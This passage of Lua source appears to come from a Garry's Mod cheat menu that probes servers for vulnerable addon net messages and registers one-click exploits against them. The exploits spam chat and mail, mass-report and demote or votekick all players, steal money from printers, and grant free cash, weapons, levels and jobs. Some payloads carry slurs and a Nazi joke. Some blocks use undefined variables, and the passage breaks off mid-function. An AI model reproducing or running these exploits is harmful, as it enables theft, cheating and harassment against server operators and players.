2004 local ExitButton = vgui.Create("DButton", base)
2005 ExitButton:SetPos(base:GetWide() + 4 - ExitButton:GetWide())
2006 ExitButton:SetText("Close")
2007 ExitButton:SetSize(60, 20)
2008 ExitButton:SetFont("DermaDefaultBold")
2009
2010 ExitButton.Paint = function()
2011 if ExitButton.Hovered then
2012 if ExitButton:IsDown() then
2013 ExitButton:SetTextColor(Color(200, 200, 200, 200))
2014 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 200), false, true)
2015 else
2016 ExitButton:SetTextColor(Color(255, 255, 255, 255))
2017 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 255), false, true)
2018 end
2019 else
2020 ExitButton:SetTextColor(Color(20, 20, 20, 200))
2021 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200, 0, 0, 200), false, true)
2022 end
2023 end
2024
2025 function ExitButton.DoClick()
2026 base:Remove()
2027 net.Start("changeToPhysgun")
2028 net.SendToServer()
2029 end
2030
2031 local DTeamChoice = vgui.Create("DComboBox", base)
2032 DTeamChoice:SetSize(150, 22)
2033 DTeamChoice:SetPos(75, 50)
2034 DTeamChoice:SetValue("Select Job")
2035
2036 for k, v in pairs(team.GetAllTeams()) do
2037 if not (HIDDEN_TEAMS[k]) and (team.NumPlayers(k) ~= 0) then
2038 DTeamChoice:AddChoice(team.GetName(k))
2039 end
2040 end
2041
2042 DTeamChoice.OnSelect = function(panel, index, value)
2043 for k, _ in pairs(team.GetAllTeams()) do
2044 if value == team.GetName(k) then
2045 for _, v in pairs(player.GetAll()) do
2046 if v:Team() == k then
2047 TeamNum = v:Team()
2048 disguise_Model_Preview_Default = v:GetModel()
2049 end
2050 end
2051 end
2052 end
2053
2054 timer.Create("RefreshModel", 0.1, 0, function()
2055 local icon = vgui.Create("DModelPanel", base)
2056 icon:SetSize(300, 260)
2057 icon:SetPos(-5, 80)
2058 icon:SetFOV(68)
2059 icon:SetModel(disguise_Model_Preview_Default)
2060
2061 timer.Simple(0.1, function()
2062 icon:Remove()
2063 end)
2064 end)
2065
2066 local DisguiseButton = vgui.Create("DButton", base)
2067 DisguiseButton:SetPos(base:GetWide() / 2.5, 360)
2068 DisguiseButton:SetSize(60, 20)
2069 DisguiseButton:SetText("Accept")
2070 DisguiseButton:SetFont("DermaDefaultBold")
2071
2072 function DisguiseButton:Paint()
2073 if DisguiseButton.Hovered then
2074 if DisguiseButton:IsDown() then
2075 DisguiseButton:SetTextColor(Color(200, 200, 200, 200))
2076 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 200))
2077 else
2078 DisguiseButton:SetTextColor(Color(255, 255, 255, 255))
2079 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 220, 0, 255))
2080 end
2081 else
2082 DisguiseButton:SetTextColor(Color(20, 20, 20, 200))
2083 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 255))
2084 end
2085 end
2086
2087 function DisguiseButton:DoClick()
2088 net.Start("SetPlayerModel")
2089
2090 if ChosenName == nil then
2091 net.WriteString(LocalPlayer():Nick())
2092 else
2093 net.WriteString(ChosenName)
2094 end
2095
2096 net.WriteUInt(TeamNum, 16)
2097 net.SendToServer()
2098 base:Close()
2099 net.Start("changeToPhysgun")
2100 net.SendToServer()
2101 end
2102 end
2103 end)
2104 end
2105
2106 status = ValidNetString("Chatbox_PlayerChat")
2107
2108 if (status) then
2109 ECPrint("Found Exploit: WilloxChat Spam [Chatbox_PlayerChat]")
2110
2111 addExploit("42", "WilloxChat Spam", "spam in chat", function()
2112 surface.PlaySound("garrysmod/ui_click.wav")
2113 ECNotify("Starting")
2114
2115 timer.Create("willoxchatspam", 1, 0, function()
2116 net.Start("Chatbox_PlayerChat")
2117 net.WriteEntity(LocalPlayer())
2118 net.WriteBit(1)
2119 net.WriteString("FAGGOTS")
2120 net.WriteBit(1)
2121 net.SendToServer()
2122 end)
2123 end)
2124 end
2125
2126 status = ValidNetString("BuilderXToggleKill")
2127
2128 if (status) then
2129 ECPrint("Found Exploit: BuilderXToggleKill [BuilderXToggleKill]")
2130
2131 addExploit("43", "BuilderXToggleKill", "old exploit, i dont remember what he was doing", function()
2132 surface.PlaySound("garrysmod/ui_click.wav")
2133 ECNotify("Starting")
2134
2135 for k, v in pairs(player.GetAll()) do
2136 net.Start("BuilderXToggleKill")
2137 net.WriteEntity(ply)
2138 net.SendToServer()
2139 end
2140 end)
2141 end
2142
2143 status = ValidNetString("reports.submit")
2144
2145 if (status) then
2146 ECPrint("Found Exploit: Report All [reports.submit]")
2147
2148 addExploit("44", "Report All", "Report all faggots", function()
2149 surface.PlaySound("garrysmod/ui_click.wav")
2150 ECNotify("Starting")
2151
2152 for k, v in pairs(player.GetAll()) do
2153 net.Start("reports.submit")
2154 net.WriteEntity(v)
2155 net.WriteInt(5, 8)
2156 net.WriteString("SuckMyDick")
2157 net.SendToServer()
2158 end
2159 end)
2160 end
2161
2162 status = ValidNetString("services_accept")
2163
2164 if (status) then
2165 ECPrint("Found Exploit: Infernus Service Accept [services_accept]")
2166
2167 addExploit("45", "Infernus Service Accept", "spam to all players", function()
2168 surface.PlaySound("garrysmod/ui_click.wav")
2169 ECNotify("Starting")
2170
2171 timer.Create("serviceaccept", 0, 0, function()
2172 for k, v in pairs(player.GetAll()) do
2173 net.Start("services_accept")
2174 net.WriteString("Nice security, retards xd")
2175 net.WriteVector(Vector(v:GetPos()))
2176 net.WriteString("test image")
2177 net.WriteEntity(v)
2178 net.SendToServer()
2179 end
2180 end)
2181
2182 timer.Simple(4, function()
2183 timer.Destroy("serviceaccept")
2184 end)
2185 end)
2186 end
2187
2188 status = ValidNetString("lockpick_sound")
2189
2190 if (status) then
2191 ECPrint("Found Exploit: LockPick Sound Spam [lockpick_sound]")
2192
2193 addExploit("46", "LockPick Sound Spam", "", function()
2194 surface.PlaySound("garrysmod/ui_click.wav")
2195 ECNotify("Starting")
2196
2197 timer.Create("spamlockpicksound", 3, 0, function()
2198 for k, v in pairs(player.GetAll()) do
2199 net.Start("lockpick_sound")
2200 net.WriteEntity(v)
2201 net.SendToServer()
2202 end
2203 end)
2204
2205 timer.Simple(4, function()
2206 timer.Destroy("spamlockpicksound")
2207 end)
2208 end)
2209 end
2210
2211 status = ValidNetString("customprinter_get")
2212
2213 if (status) then
2214 ECPrint("Found Exploit: Realistic Printers Steal Money [customprinter_get]")
2215
2216 addExploit("47", "Realistic Printers Steal Money", "stealing money from printers", function()
2217 surface.PlaySound("garrysmod/ui_click.wav")
2218 ECNotify("Starting")
2219
2220 for k, v in pairs(ents.GetAll()) do
2221 if v:GetClass():find("print") then
2222 net.Start("customprinter_get")
2223 net.WriteEntity(v)
2224 net.WriteString("g_money")
2225 net.SendToServer()
2226 end
2227 end
2228 end)
2229 end
2230
2231 status = ValidNetString("InformPlayer")
2232
2233 if (status) then
2234 ECPrint("Found Exploit: SimpleGrab Inform [InformPlayer]")
2235
2236 addExploit("48", "SimpleGrab Inform", "Spam all players in the console", function()
2237 surface.PlaySound("garrysmod/ui_click.wav")
2238 ECNotify("Starting")
2239
2240 for k, v in pairs(player.GetAll()) do
2241 for i = 0, 100 do
2242 net.Start("InformPlayer")
2243 net.WriteEntity(v)
2244 net.SendToServer()
2245 end
2246 end
2247 end)
2248 end
2249
2250 status = ValidNetString("pogcp_report_submitReport")
2251
2252 if (status) then
2253 ECPrint("Found Exploit: Report All #2 [pogcp_report_submitReport]")
2254
2255 addExploit("49", "Report All #2", "Report all faggots", function()
2256 surface.PlaySound("garrysmod/ui_click.wav")
2257 ECNotify("Starting")
2258
2259 for i = 0, 100 do
2260 for k, v in pairs(player.GetAll()) do
2261 net.Start("pogcp_report_submitReport")
2262 net.WriteString("lol")
2263 net.WriteString("nice security retards")
2264 net.WriteEntity(v)
2265 net.SendToServer()
2266 end
2267 end
2268 end)
2269 end
2270
2271 status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
2272
2273 if (status) then
2274 ECPrint("Found Exploit: Fuhrer Submit Candidacy [1942_Fuhrer_SubmitCandidacy]")
2275
2276 addExploit("50", "Fuhrer Submit Candidacy", "you instantly become a Fuhrer, Sieg Heil", function()
2277 surface.PlaySound("garrysmod/ui_click.wav")
2278 ECNotify("Starting")
2279 net.Start("1942_Fuhrer_SubmitCandidacy")
2280 net.WriteString(LocalPlayer():Nick())
2281 net.SendToServer()
2282 end)
2283 end
2284
2285 status = ValidNetString("FacCreate")
2286
2287 if (status) then
2288 ECPrint("Found Exploit: Fac Create [FacCreate]")
2289
2290 addExploit("51", "Fac Create", "old exploit", function()
2291 surface.PlaySound("garrysmod/ui_click.wav")
2292 ECNotify("Starting")
2293
2294 timer.Create("fucklol", 1, 0, function()
2295 net.Start("FacCreate")
2296 net.WriteString("LOL " .. random_string(5))
2297 net.WriteString("LOL " .. random_string(10))
2298 net.WriteColor(random_color())
2299 net.WriteBool(false)
2300 net.WriteString(random_string(5))
2301 net.SendToServer()
2302 end)
2303 end)
2304 end
2305
2306 status = ValidNetString("FactionInviteConsole")
2307
2308 if (status) then
2309 ECPrint("Found Exploit: Faction Invite [FactionInviteConsole]")
2310
2311 addExploit("52", "Faction Invite", "", function()
2312 surface.PlaySound("garrysmod/ui_click.wav")
2313 ECNotify("Starting")
2314
2315 timer.Create("lovedarkexploitsxd", 1, 0, function()
2316 for k, v in pairs(player.GetAll()) do
2317 net.Start("FactionInviteConsole")
2318 net.WriteEntity(ply)
2319 net.WriteEntity(table.Random(player.GetAll()))
2320 net.SendToServer()
2321 end
2322 end)
2323 end)
2324 end
2325
2326 status = ValidNetString("WithdrewBMoney")
2327
2328 if (status) then
2329 ECPrint("Found Exploit: Free Money #2 [WithdrewBMoney]")
2330
2331 addExploit("53", "Free Money #2", "an exploit in the addon 'business'", function()
2332 surface.PlaySound("garrysmod/ui_click.wav")
2333 ECNotify("Starting")
2334 net.Start("WithdrewBMoney")
2335 net.WriteInt(50000, 32)
2336 net.SendToServer()
2337 end)
2338 end
2339
2340 status = ValidNetString("deathrag_takeitem")
2341
2342 if (status) then
2343 ECPrint("Found Exploit: Easy Items [deathrag_takeitem]")
2344
2345 addExploit("54", "Easy Items", "collects money, weapons", function()
2346 surface.PlaySound("garrysmod/ui_click.wav")
2347 ECNotify("Starting")
2348 count = 0
2349
2350 for k, v in pairs(ents.GetAll()) do
2351 if v:GetClass() == "prop_ragdoll" then
2352 count = count + 1
2353 end
2354 end
2355
2356 if count == 0 then
2357 ECPrint("No items found")
2358 else
2359 ECPrint("Amount of items " .. count)
2360 end
2361
2362 for k, v in pairs(ents.GetAll()) do
2363 if v:GetClass() == "prop_ragdoll" then
2364 for i = 1, 10 do
2365 net.Start("deathrag_takeitem")
2366 net.WriteEntity(v)
2367 net.WriteInt(i, 16)
2368 net.SendToServer()
2369 end
2370 end
2371 end
2372 end)
2373 end
2374
2375 status = ValidNetString("REPPurchase")
2376
2377 if (status) then
2378 ECPrint("Found Exploit: Heal and Armor [REPPurchase]")
2379
2380 addExploit("55", "Heal and Armor", "armor and hp", function()
2381 surface.PlaySound("garrysmod/ui_click.wav")
2382 ECNotify("Starting")
2383
2384 if LocalPlayer():Health() < 99 then
2385 net.Start("REPPurchase")
2386 net.WriteString("HEALTH")
2387 net.SendToServer()
2388 end
2389
2390 if LocalPlayer():Armor() < 99 then
2391 net.Start("REPPurchase")
2392 net.WriteString("ARMOR")
2393 net.SendToServer()
2394 end
2395 end)
2396 end
2397
2398 status = ValidNetString("BTTTStartVotekick")
2399
2400 if (status) then
2401 ECPrint("Found Exploit: Votekick #2 [BTTTStartVotekick]")
2402
2403 addExploit("56", "Votekick #2", "kick all noobs", function()
2404 surface.PlaySound("garrysmod/ui_click.wav")
2405 ECNotify("Starting")
2406
2407 for k, v in pairs(player.GetAll()) do
2408 if v ~= LocalPlayer() then
2409 net.Start("BTTTStartVotekick")
2410 net.Start("_nonDBVMVote")
2411 net.WriteEntity(v)
2412 net.WriteString("")
2413 net.WriteString("1")
2414 net.SendToServer()
2415 end
2416 end
2417 end)
2418 end
2419
2420 status = ValidNetString("Resupply")
2421
2422 if (status) then
2423 ECPrint("Found Exploit: Respawn Equipment [Resupply]")
2424
2425 addExploit("57", "Respawn Equipment", "", function()
2426 surface.PlaySound("garrysmod/ui_click.wav")
2427 ECNotify("Starting")
2428 net.Start("Resupply")
2429 net.SendToServer()
2430 end)
2431 end
2432
2433 status = ValidNetString("DarkRP_Defib_ForceSpawn")
2434
2435 if (status) then
2436 ECPrint("Found Exploit: Respawn #2 [DarkRP_Defib_ForceSpawn]")
2437
2438 addExploit("58", "Respawn #2", "just respawn", function()
2439 surface.PlaySound("garrysmod/ui_click.wav")
2440 ECNotify("Respawn")
2441 net.Start("DarkRP_Defib_ForceSpawn")
2442 net.SendToServer()
2443 end)
2444 end
2445
2446 status = ValidNetString("FiremanLeave")
2447
2448 if (status) then
2449 ECPrint("Found Exploit: Fireman Leave [FiremanLeave]")
2450
2451 addExploit("59", "Fireman Leave", "", function()
2452 surface.PlaySound("garrysmod/ui_click.wav")
2453 ECNotify("Starting")
2454 net.Start("FiremanLeave")
2455 net.SendToServer()
2456 end)
2457 end
2458
2459 status = ValidNetString("PoliceJoin")
2460
2461 if (status) then
2462 ECPrint("Found Exploit: Join the Police 1 [PoliceJoin]")
2463
2464 addExploit("60", "Join the Police 1", "joining the police", function()
2465 surface.PlaySound("garrysmod/ui_click.wav")
2466 ECNotify("Starting")
2467 net.Start("PoliceJoin")
2468 net.SendToServer()
2469 end)
2470 end
2471
2472 status = ValidNetString("CreateEntity")
2473
2474 if (status) then
2475 ECPrint("Found Exploit: Create Entity [CreateEntity]")
2476
2477 addExploit("61", "Create Entity", "", function()
2478 surface.PlaySound("garrysmod/ui_click.wav")
2479 ECNotify("Starting")
2480
2481 for k, v in pairs(player.GetAll()) do
2482 net.Start("CreateEntity")
2483 net.WriteString("sent_arc_atm")
2484 net.WriteFloat(100000000000000000000000000000000000000000000000000)
2485 net.WriteEntity(v)
2486 net.SendToServer()
2487 end
2488 end)
2489 end
2490
2491 status = ValidNetString("CREATE_REPORT")
2492
2493 if (status) then
2494 ECPrint("Found Exploit: CREATE REPORT [CREATE_REPORT]")
2495
2496 addExploit("62", "CREATE REPORT", "", function()
2497 surface.PlaySound("garrysmod/ui_click.wav")
2498 ECNotify("Starting")
2499
2500 local tab = {
2501 REPORTER = v:Nick(),
2502 REPORTERID = v:SteamID(),
2503 FAGGOT = v:Nick(),
2504 FAGGOTID = v:SteamID(),
2505 INFO = "Say hi to youtube",
2506 PROOF = "https://www.youtube.com/channel/UCmiP5W8BuaLzzGcJVKORErg"
2507 }
2508
2509 for k, v in pairs(player.GetAll()) do
2510 net.Start("CREATE_REPORT")
2511 net.WriteTable(tab)
2512 net.SendToServer()
2513 end
2514 end)
2515 end
2516
2517 status = ValidNetString("Hopping_Test")
2518
2519 if (status) then
2520 ECPrint("Found Exploit: Hopping Test [Hopping_Test]")
2521
2522 addExploit("62", "Hopping Test", "", function()
2523 surface.PlaySound("garrysmod/ui_click.wav")
2524 ECNotify("Starting")
2525
2526 for k, v in pairs(player.GetAll()) do
2527 net.Start("Hopping_Test")
2528 net.WriteEntity(v)
2529 net.WriteString("69.696.696969.69")
2530 net.SendToServer()
2531 end
2532 end)
2533 end
2534
2535 status = ValidNetString("CpForm_Answers")
2536
2537 if (status) then
2538 ECPrint("Found Exploit: Join the Police 2 [CpForm_Answers]")
2539
2540 addExploit("63", "Join the Police 2", "joining the police #2", function()
2541 surface.PlaySound("garrysmod/ui_click.wav")
2542 ECNotify("Starting")
2543 net.Start("CpForm_Answers")
2544 net.WriteEntity(LocalPlayer())
2545 net.WriteTable({})
2546 net.SendToServer()
2547 end)
2548 end
2549
2550 status = ValidNetString("VehicleUnderglow")
2551
2552 if (status) then
2553 ECPrint("Found Exploit: Vehicle Underglow [VehicleUnderglow]")
2554
2555 addExploit("64", "Vehicle Underglow", "", function()
2556 surface.PlaySound("garrysmod/ui_click.wav")
2557 ECNotify("Starting")
2558 net.Start("VehicleUnderglow")
2559 net.SendToServer()
2560 end)
2561 end
2562
2563 status = ValidNetString("OpenGates")
2564
2565 if (status) then
2566 ECPrint("Found Exploit: Open Door #2 [OpenGates]")
2567
2568 addExploit("65", "Open Door #2", "Force open the door you are looking at", function()
2569 surface.PlaySound("garrysmod/ui_click.wav")
2570 ECNotify("Starting")
2571 net.Start("OpenGates")
2572 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
2573 net.SendToServer()
2574 end)
2575 end
2576
2577 status = ValidNetString("DemotePlayer")
2578
2579 if (status) then
2580 ECPrint("Found Exploit: Demote All Players [DemotePlayer]")
2581
2582 addExploit("66", "Demote All Players", "Demote all players", function()
2583 surface.PlaySound("garrysmod/ui_click.wav")
2584 ECNotify("Starting")
2585
2586 for k, v in pairs(player.GetAll()) do
2587 net.Start("DemotePlayer")
2588 net.WriteString(v:SteamID())
2589 net.SendToServer()
2590 end
2591 end)
2592 end
2593
2594 status = ValidNetString("SendMail")
2595
2596 if (status) then
2597 ECPrint("Found Exploit: Send Mail [SendMail]")
2598
2599 addExploit("67", "Send Mail", "sending mail to all players", function()
2600 surface.PlaySound("garrysmod/ui_click.wav")
2601 ECNotify("Starting")
2602
2603 for k, v in pairs(player.GetAll()) do
2604 net.Start("SendMail")
2605 net.WriteString("haha nice security retards")
2606 net.WriteString(v:Nick())
2607 net.SendToServer()
2608 end
2609 end)
2610 end
2611
2612 status = ValidNetString("REPAdminChangeLVL")
2613
2614 if (status) then
2615 ECPrint("Found Exploit: Admin Change Level [REPAdminChangeLVL]")
2616
2617 addExploit("68", "Admin Change Level", "free lvl", function()
2618 surface.PlaySound("garrysmod/ui_click.wav")
2619 ECNotify("Starting")
2620
2621 for k, v in pairs(player.GetAll()) do
2622 net.Start("REPAdminChangeLVL")
2623 net.WriteEntity(v)
2624 net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2625 net.SendToServer()
2626 end
2627 end)
2628 end
2629
2630 status = ValidNetString("BuyUpgradesStuff")
2631
2632 if (status) then
2633 ECPrint("Found Exploit: Buy Upgrades [BuyUpgradesStuff]")
2634
2635 addExploit("69", "Buy Upgrades", "free upgrades", function()
2636 surface.PlaySound("garrysmod/ui_click.wav")
2637 ECNotify("Starting")
2638 net.Start("BuyUpgradesStuff")
2639 net.WriteString("")
2640 net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2641 net.SendToServer()
2642 end)
2643 end
2644
2645 status = ValidNetString("SquadGiveWeapon")
2646
2647 if (status) then
2648 ECPrint("Found Exploit: Give Weapons [SquadGiveWeapon]")
2649
2650 addExploit("70", "Give Weapons", "easy weapon", function()
2651 surface.PlaySound("garrysmod/ui_click.wav")
2652 inputFrameExists = true
2653 inputFrame = vgui.Create("DFrame")
2654 inputFrame:SetTitle("Choose a weapon!")
2655 inputFrame:SetSize(400, 75)
2656 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2657 inputFrame:SetDraggable(false)
2658 inputFrame:ShowCloseButton(true)
2659 inputFrame:MakePopup()
2660
2661 inputFrame.Paint = function(self, w, h)
2662 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2663 end
2664
2665 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2666 TextEntry:SetSize(380, 30)
2667 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2668 TextEntry:SetText("ls_sniper")
2669
2670 TextEntry.OnEnter = function(self)
2671 surface.PlaySound("garrysmod/ui_click.wav")
2672 ECNotify("Giving Weapon")
2673 net.Start("SquadGiveWeapon")
2674 net.WriteString(self:GetValue())
2675 net.WriteEntity(LocalPlayer())
2676 net.SendToServer()
2677 inputFrame:SetVisible(false)
2678 end
2679 end)
2680 end
2681
2682 status = ValidNetString("SetTableTarget")
2683
2684 if (status) then
2685 ECPrint("Found Exploit: Set Table Target [SetTableTarget]")
2686
2687 addExploit("71", "Set Table Target", "", function()
2688 surface.PlaySound("garrysmod/ui_click.wav")
2689 ECNotify("Starting")
2690 net.Start("SetTableTarget")
2691 net.WriteString("pername")
2692 net.WriteString("perjob")
2693 net.WriteInt(-10000000000000, 32)
2694 net.WriteString("hitmansel")
2695 net.WriteString("Anony.")
2696 net.WriteString("")
2697 net.WriteFloat(0)
2698 net.WriteInt(-10000000000000, 32)
2699 net.SendToServer()
2700 end)
2701 end
2702
2703 status = ValidNetString("UpdateRPUModelSQL")
2704
2705 if (status) then
2706 ECPrint("Found Exploit: Change character model [UpdateRPUModelSQL]")
2707
2708 addExploit("72", "Change character model", "", function()
2709 surface.PlaySound("garrysmod/ui_click.wav")
2710 ECNotify("Starting")
2711 net.Start("UpdateRPUModelSQL")
2712 net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
2713 net.SendToServer()
2714 end)
2715 end
2716
2717 status = ValidNetString("disguise")
2718
2719 if (status) then
2720 ECPrint("Found Exploit: Disguise [disguise]")
2721
2722 addExploit("73", "Disguise", "allows you to disguise as any job", function()
2723 surface.PlaySound("garrysmod/ui_click.wav")
2724 inputFrameExists = true
2725 inputFrame = vgui.Create("DFrame")
2726 inputFrame:SetTitle("Enter the number of the job")
2727 inputFrame:SetSize(400, 75)
2728 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2729 inputFrame:SetDraggable(false)
2730 inputFrame:ShowCloseButton(true)
2731 inputFrame:MakePopup()
2732
2733 inputFrame.Paint = function(self, w, h)
2734 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2735 end
2736
2737 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2738 TextEntry:SetSize(380, 30)
2739 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2740 TextEntry:SetText("5")
2741
2742 TextEntry.OnEnter = function(self)
2743 surface.PlaySound("garrysmod/ui_click.wav")
2744 ECNotify("Disguised")
2745 net.Start("disguise")
2746 net.WriteInt(tonumber(self:GetValue()), 32)
2747 net.SendToServer()
2748 inputFrame:SetVisible(false)
2749 end
2750 end)
2751 end
2752
2753 status = ValidNetString("gportal_rpname_change")
2754
2755 if (status) then
2756 ECPrint("Found Exploit: Your RP Name #1 [gportal_rpname_change]")
2757
2758 addExploit("74", "Your RP Name #1", "allows you to put absolutely any rp name", function()
2759 surface.PlaySound("garrysmod/ui_click.wav")
2760 inputFrameExists = true
2761 inputFrame = vgui.Create("DFrame")
2762 inputFrame:SetTitle("Enter your name")
2763 inputFrame:SetSize(400, 75)
2764 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2765 inputFrame:SetDraggable(false)
2766 inputFrame:ShowCloseButton(true)
2767 inputFrame:MakePopup()
2768
2769 inputFrame.Paint = function(self, w, h)
2770 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2771 end
2772
2773 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2774 TextEntry:SetSize(380, 30)
2775 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2776 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2777
2778 TextEntry.OnEnter = function(self)
2779 surface.PlaySound("garrysmod/ui_click.wav")
2780 ECNotify("Changed")
2781 net.Start("gportal_rpname_change")
2782 net.WriteString((self:GetValue()), 32)
2783 net.WriteString(" ")
2784 net.SendToServer()
2785 inputFrame:SetVisible(false)
2786 end
2787 end)
2788 end
2789
2790 status = ValidNetString("NewRPNameSQL")
2791
2792 if (status) then
2793 ECPrint("Found Exploit: Your RP Name #2 [NewRPNameSQL]")
2794
2795 addExploit("75", "Your RP Name #2", "allows you to put absolutely any rp name", function()
2796 surface.PlaySound("garrysmod/ui_click.wav")
2797 inputFrameExists = true
2798 inputFrame = vgui.Create("DFrame")
2799 inputFrame:SetTitle("Enter your name")
2800 inputFrame:SetSize(400, 75)
2801 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2802 inputFrame:SetDraggable(false)
2803 inputFrame:ShowCloseButton(true)
2804 inputFrame:MakePopup()
2805
2806 inputFrame.Paint = function(self, w, h)
2807 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2808 end
2809
2810 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2811 TextEntry:SetSize(380, 30)
2812 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2813 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2814
2815 TextEntry.OnEnter = function(self)
2816 surface.PlaySound("garrysmod/ui_click.wav")
2817 ECNotify("Changed")
2818 net.Start("NewRPNameSQL")
2819 net.WriteString((self:GetValue()), 32)
2820 net.SendToServer()
2821 inputFrame:SetVisible(false)
2822 end
2823 end)
2824 end
2825
2826 status = ValidNetString("chname")
2827
2828 if (status) then
2829 ECPrint("Found Exploit: Your RP Name #3 [chname]")
2830
2831 addExploit("76", "Your RP Name #3", "discovered by Leith", function()
2832 surface.PlaySound("garrysmod/ui_click.wav")
2833 inputFrameExists = true
2834 inputFrame = vgui.Create("DFrame")
2835 inputFrame:SetTitle("Enter your name")
2836 inputFrame:SetSize(400, 75)
2837 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2838 inputFrame:SetDraggable(false)
2839 inputFrame:ShowCloseButton(true)
2840 inputFrame:MakePopup()
2841
2842 inputFrame.Paint = function(self, w, h)
2843 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2844 end
2845
2846 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2847 TextEntry:SetSize(380, 30)
2848 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2849 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2850
2851 TextEntry.OnEnter = function(self)
2852 surface.PlaySound("garrysmod/ui_click.wav")
2853 ECNotify("Changed")
2854 net.Start("chname")
2855 net.WriteString((self:GetValue()))
2856 net.WriteString(" ")
2857 net.SendToServer()
2858 inputFrame:SetVisible(false)
2859 end
2860 end)
2861 end
2862
2863 status = ValidNetString("AbilityUse")
2864
2865 if (status) then
2866 ECPrint("Found Exploit: Free Bonus [AbilityUse]")
2867
2868 addExploit("77", "Free Bonus", "allows you to instantly get bonuses", function()
2869 surface.PlaySound("garrysmod/ui_click.wav")
2870
2871 for k, v in ipairs(rp.abilities.list) do
2872 ECPrint("ID - " .. k .. " | " .. v:GetName())
2873 inputFrameExists = true
2874 inputFrame = vgui.Create("DFrame")
2875 inputFrame:SetTitle("Enter the id of the bonus")
2876 inputFrame:SetSize(400, 75)
2877 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2878 inputFrame:SetDraggable(false)
2879 inputFrame:ShowCloseButton(true)
2880 inputFrame:MakePopup()
2881
2882 inputFrame.Paint = function(self, w, h)
2883 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2884 end
2885
2886 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2887 TextEntry:SetSize(380, 30)
2888 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2889 TextEntry:SetText("6")
2890
2891 TextEntry.OnEnter = function(self)
2892 surface.PlaySound("garrysmod/ui_click.wav")
2893 ECNotify("Received")
2894 net.Start("AbilityUse")
2895 net.WriteInt(tonumber(self:GetValue()), 32)
2896 net.SendToServer()
2897 inputFrame:SetVisible(false)
2898 end
2899 end
2900 end)
2901 end
2902
2903 status = ValidNetString("race_accept")
2904
2905 if (status) then
2906 ECPrint("Found Exploit: Get Car [race_accept]")
2907
2908 addExploit("78", "Get Car", "", function()
2909 surface.PlaySound("garrysmod/ui_click.wav")
2910 inputFrameExists = true
2911 inputFrame = vgui.Create("DFrame")
2912 inputFrame:SetTitle("Enter the id of the car")
2913 inputFrame:SetSize(400, 75)
2914 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2915 inputFrame:SetDraggable(false)
2916 inputFrame:ShowCloseButton(true)
2917 inputFrame:MakePopup()
2918
2919 inputFrame.Paint = function(self, w, h)
2920 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2921 end
2922
2923 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2924 TextEntry:SetSize(380, 30)
2925 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2926 TextEntry:SetText("1")
2927
2928 TextEntry.OnEnter = function(self)
2929 surface.PlaySound("garrysmod/ui_click.wav")
2930 ECNotify("Starting")
